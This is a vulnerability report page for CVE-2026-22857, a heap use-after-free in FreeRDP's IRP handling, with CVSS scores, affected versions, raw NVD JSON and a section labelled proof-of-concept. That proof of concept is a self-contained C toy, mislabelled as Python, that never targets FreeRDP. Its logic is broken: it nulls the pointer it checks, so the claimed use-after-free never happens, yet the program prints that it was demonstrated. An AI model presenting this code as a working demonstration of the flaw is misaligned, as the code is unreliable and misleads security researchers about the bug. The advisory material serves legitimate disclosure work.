Security Vulnerability Report
中文
CVE-2026-22857 CVSS 9.8 CRITICAL

CVE-2026-22857

Published: 2026-01-14 18:16:43
Last Modified: 2026-01-20 18:34:44

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, a heap use-after-free occurs in irp_thread_func because the IRP is freed by irp->Complete() and then accessed again on the error path. This vulnerability is fixed in 3.20.1.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.20.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22857 PoC - FreeRDP irp_thread_func Use-After-Free // This PoC demonstrates triggering the use-after-free condition // in FreeRDP's IRP handling #include <stdio.h> #include <stdlib.h> #include <string.h> // Simplified PoC structure for demonstration // Actual exploitation requires precise RDP protocol manipulation #define RDP_PACKET_TYPE_IRP 0x17 #define TRIGGER_ERROR_CONDITION 1 typedef struct { unsigned int length; unsigned char* data; void (*Complete)(void* irp); int error_flag; } RDP_IRP; void irp_complete(RDP_IRP* irp) { // Simulate IRP completion and freeing if (irp->data) { free(irp->data); irp->data = NULL; // Memory freed } } void irp_thread_func(RDP_IRP* irp) { // Vulnerable code path irp->Complete(irp); // IRP is freed here if (TRIGGER_ERROR_CONDITION) { // ERROR PATH: Accessing freed IRP memory // This is the use-after-free vulnerability if (irp->data != NULL) { // Use after free! printf("Processing IRP data: %s\n", irp->data); } } } int main() { printf("CVE-2026-22857 PoC - FreeRDP Use-After-Free\n"); printf("Target: FreeRDP < 3.20.1\n"); printf("Vulnerability: Heap use-after-free in irp_thread_func\n\n"); RDP_IRP* irp = (RDP_IRP*)malloc(sizeof(RDP_IRP)); irp->length = 256; irp->data = (unsigned char*)malloc(irp->length); strcpy((char*)irp->data, "Malicious RDP payload"); irp->Complete = irp_complete; irp->error_flag = 1; printf("Triggering vulnerability...\n"); irp_thread_func(irp); free(irp); printf("Use-after-free condition demonstrated.\n"); return 0; } // Note: Actual exploitation requires: // 1. Precise heap grooming for the IRP object // 2. RDP protocol state manipulation // 3. Control of the freed memory contents // 4. Reliable exploitation primitives (arbitrary read/write)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22857", "sourceIdentifier": "[email protected]", "published": "2026-01-14T18:16:43.373", "lastModified": "2026-01-20T18:34:43.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, a heap use-after-free occurs in irp_thread_func because the IRP is freed by irp->Complete() and then accessed again on the error path. This vulnerability is fixed in 3.20.1."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de 3.20.1, se produce un uso después de liberación en el heap en irp_thread_func porque el IRP es liberado por irp-&gt;Complete() y luego se accede a él de nuevo en la ruta de error. Esta vulnerabilidad se corrige en 3.20.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.20.1", "matchCriteriaId": "1C802721-4198-476F-AE9E-78457C1CE38B"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/releases/tag/3.20.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-4gxq-jhq6-4cr8", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}